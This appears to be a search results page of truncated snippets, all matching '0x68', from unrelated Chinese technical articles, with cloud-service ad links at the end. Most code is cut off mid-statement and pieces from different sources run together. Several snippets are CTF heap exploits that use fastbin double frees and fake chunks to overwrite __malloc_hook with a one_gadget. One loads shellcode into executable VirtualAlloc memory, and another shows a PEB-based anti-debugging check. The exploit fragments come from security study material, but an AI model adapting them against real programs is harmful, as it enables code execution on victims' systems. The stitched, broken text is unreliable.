, b"a"*0x68, 100) #2 for i in range(7, -1, -1): delete(2) add(b"AAAA", 0x68, b"a"...*(0x60+i), 100) #2 delete(2) add(b"AAAA", 0x68, b"a"*0x60 + p64(0x180), 100) #2 delete(0)...add(b"tmp", 0x68, p64(fake_chunk), 100) #6 add(b"tmp", 0x68, "tmp", 100) #7 add(b"tmp",...0x68, "tmp", 100) #8 add(b"tmp", 0x68, b"a"*0x13 + p64(one_gadget), 100) #9 print("malloc_hook...(b"AAAA", 0x68, b"a"*(0x68-i), 100) #1 delete(1) add(b"AAAA", 0x68, b"a"*0x60+p64(0x270), 100
大小的chunk来分割这个unsortedbin chunk这样就能拿到两个内存是申请在同一个位置的了，然后绕过fastbin 双重释放的缓解即可：chunk33 = add(0x68)chunk5 =...__malloc_hook - 35chunkA = add(0x68)edit(chunkA,0x8,pack(fake_chunk))add(0x68)add(0x68)fake = add(0x68...)chunk5 = add(0x68)free(chunk33)free(chunk5)free(chunk3)# fake chunkfake_chunk = libc.sym....__malloc_hook - 35chunkA = add(0x68)edit(chunkA,0x8,pack(fake_chunk))add(0x68)add(0x68)fake = add(0x68...)one_gadget = libc.address + 0x4526aedit(fake,35-8,b'0'*(35-16) + pack(one_gadget))add(0x68)# =======
, 0x00,0x8B,0x0D,0x68,0x13,0x4F,0x00,0x03,0x4B,0x24,0x89,0x0D,0x74,0x13,0x4F,0x00, 0x8B,0x0D,0x68,0x13,0x4F..., 0x4F,0x00,0x89,0x05,0x70,0x13,0x4F,0x00,0x68,0xF0,0x10,0x4F,0x00,0xFF,0x35,0x68, 0x13,0x4F,0x00,0xFF...,0x00,0xFF,0x15,0x84,0x13,0x4F,0x00, 0x89,0x05,0x8C,0x13,0x4F,0x00,0x68,0x50,0x11,0x4F,0x00,0xFF,0x35,0x68,0x13,0x4F..., 0x00,0xFF,0x35,0x68,0x13,0x4F,0x00,0xFF,0x15,0x84,0x13,0x4F,0x00,0x89,0x05,0x48, 0x14,0x4F,0x00,0x68,0x18,0x14,0x4F..., 0x00,0x00,0x00,0x6A,0x03,0x6A,0x00,0x6A,0x03,0x68,0x00,0x00,0x00,0xC0,0x68,0xB8, 0x13,0x4F,0x00,0xFF
0x511) p.recvuntil(b"Name:") p.send(name) # leak lib ## tcache attach 1 malloc(0x68..., b"aaaa") for i in range(2): free() malloc(0x68, p64(bss_name+0x510)) malloc(0x68...fake_fastchunk*2:", hex(bss_name+0x510)) payload = p64(0) + p64(0x21) + p64(0)*3 + p64(0x21) malloc(0x68
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); char code[] = {0x68...0x6f, 0x72, 0x6c, 0x64, 0x00, 0xff, 0xf5, 0x89, 0xe5, 0x68
") p.sendline(content) #IO_FILE def exp(): #构造overlapping alloc(0x88) #idx0 alloc(0x68...= b"a"*0x80 + p64(0x90) + p64(0x71) + b"\xdd\x25" #fakechunk offset fill(0,payload2) alloc(0x68...) #idx1 alloc(0x68) #idx2 stdout fakechunk #payload3最后的\x00是覆盖了char* _IO_write_base的低位，控制输出的起始位置...+ p64(0x90) + p64(0x71) + p64(malloc_hook_fakechunk) #fakechunk addr fill(0,payload4) alloc(0x68...) #idx1 alloc(0x68) #idx4 malloc_hook_fakechunk #malloc_hook to one_gadget #直接malloc_hook
print("[*] heap_base:", hex(heap_base)) # realloc attach ## link to fake_chunk set_note(2, 0x68...set_note(9, 0x48, payload) set_note(1, 0x10, p64(fake_chunk)) ## get_fakechunk set_note(3, 0x68...one_gadget)+p64(libc_base+0x83b1b)) set_note(5, 0x40, b"split") ## write malloc_hook set_note(4, 0x68
addr=0xf38010 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x91 0x00 0x00 0x00 0x00 0x00 0x00 0x000x7a 0x68...0x65 0x6a 0x69 0x61 0x6e 0x67 0x20 0x77 0x65 0x6e 0x7a 0x68 0x6f 0x750x20 0x70 0x69 0x78 0x69 0x65 0x20...0x73 0x68 0x69 0x00 0x00 0x00 0x00 0x00 0x000x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00...0x00 0x00 0x00 0x00 [root@localhost mod]# 可以看到，第二行开始的就是“zhejiang Wenzhou pixie shi ”了： 0x7a 0x68 0x65...0x68 0x69 ...
因为单片机默认的) base程序是默认的存储在单片机flash中, 假设串口0中断地址记录在flash的0x68地址上 下面的flash的0x68地址上的数据是 0x000002E5, 就是串口0的中断函数地址...位置上 上面的BD 0C 00 00 就是串口0中断函数的地址, 也是存储在该程序flash的0x68位置上 (注意哈,其实对于整个flash是偏移了0xc00哈,其实最终存储在flash的地址是 0xC00...+ 0x68) 3,如何执行哪一个程序的时候就执行哪一个程序上面的中断呢 在有些单片机中可以在主函数最一开始初始化写一句话就完了 SCB->VTOR = "填写偏移地址" 写上上面那句话之后呢,在执行中断的时候..., 从flash中读取的中断函数地址就会整体偏移, 假设写的是 SCB->VTOR = 0xc00; 那么在执行上面的串口0中断函数的时候, 并不是从flash的0x68地址上读取到地址然后运行了,... 而是从 flash的(0x68 + 0xc00) 地址上读取到地址然后运行, 这样子的话就是执行的BootLoader程序上面的串口0中断函数了 但是呢!
fake([1,2]) delete(3) add(0x18,"aaaa\n") libc_addr=u64(show(4)+"\x00\x00") print hex(libc_addr) add(0x68...,"bbbb\n") add(0x68,"bbbb\n") delete(4) delete(6) delete(5) hook=libc_addr-0x00007ffff7dd1b58+ 0x7ffff7dd1af0...add(0x68,p64(hook-0x23)+"\n") add(0x68,p64(hook-0x23)+"\n") add(0x68,"aaaa\n") add(0x68,"\x00"*0x13+
malloc_hook'] rea = libc_base + 0x83B12 one = libc_base + 0xf0567 # 0xef6c4 0x4526a add(0x98, b'a') add(0x68..., b'a') # 3 add(0x68, b'a') add(0x68, b'a') free(3) free(4) free(3) add(0x68, p64(malloc_hook - 0x23...)) add(0x68, b'a') add(0x68, b'a' * 11 + p64(one)) # add(0x68,b'\x00'*11 + p64(one)) # bug() add(0x68
bipush ; - TestVolatile::main@0 (line 5) #0xf066da08 + 0x68...rsi ; {oop(a 'java/lang/Class' = 'TestVolatile')} #将0x9赋值给value 0x00007fdf75313925: movl $0x9,0x68...寄存器加10 0x00007fdf7531392f: add $0xa,%edi #edi寄存器的值赋值给value 0x00007fdf75313932: mov %edi,0x68...寄存器 0x00007f96b93132e5: mov $0x9,%edi #将edi寄存器的值赋值给value 0x00007f96b93132ea: mov %edi,0x68...寄存器加10 0x00007f96b93132f5: add $0xa,%edi #将edi寄存器赋值给value 0x00007f96b93132f8: mov %edi,0x68
mov eax, fs:[0x18] // TEB基地址 mov eax, [eax + 0x30] // 找到PEB mov eax, [eax + 0x68...Pbi.PebBaseAddress; // 读取调试标志并判断 if (ReadProcessMemory(hProcess, (LPCVOID)(PebBase + 0x68
= array(0x63,0x66,0x67,0x5f,0x70,0x6f,0x77,0x65,0x72,0x62,0x79); $arrs2 = array(0x20,0x3c,0x61,0x20,0x68,0x72,0x65,0x66,0x3d...,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f, 0x77,0x77,0x77,0x2e,0x64,0x65,0x64,0x65,0x63,0x6d,0x73,0x2e,0x63,0x6f
char[outlen];memcpy(m_psps, pout, outlen);m_spslen=outlen;}bSPSOrPPS = true;}else if (naltype==0x08)//0x68...{// m_ppps=pout;// m_ppslen=outlen;//pout[0] = 0x68;if(m_bwritevideoinfo==false){m_ppps = new unsigned...m_bwritevideoinfo==false||nRealDataSize<=0 ){return 0;//获取sps pps失败}// if(/*bSPSOrPPS*/pout[0]==0x67 || pout[0]==0x68
outlen]; memcpy(m_psps, pout, outlen); m_spslen=outlen; } bSPSOrPPS = true; } else if (naltype==0x08)//0x68...{ // m_ppps=pout; // m_ppslen=outlen; //pout[0] = 0x68; if(m_bwritevideoinfo==false) { m_ppps...=false||nRealDataSize<=0 ) { return 0;//获取sps pps失败 } // if(/*bSPSOrPPS*/pout[0]==0x67 || pout[0]==0x68
跟到下面又发现对PEB结构的访问，偏移为0x68。...其实不太清楚偏移0x68是什么，就查了一下： PEB有一个名为NtGlobalFlag（偏移量为0x68）的字段，程序可以挑战识别它们是否正在被调试。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
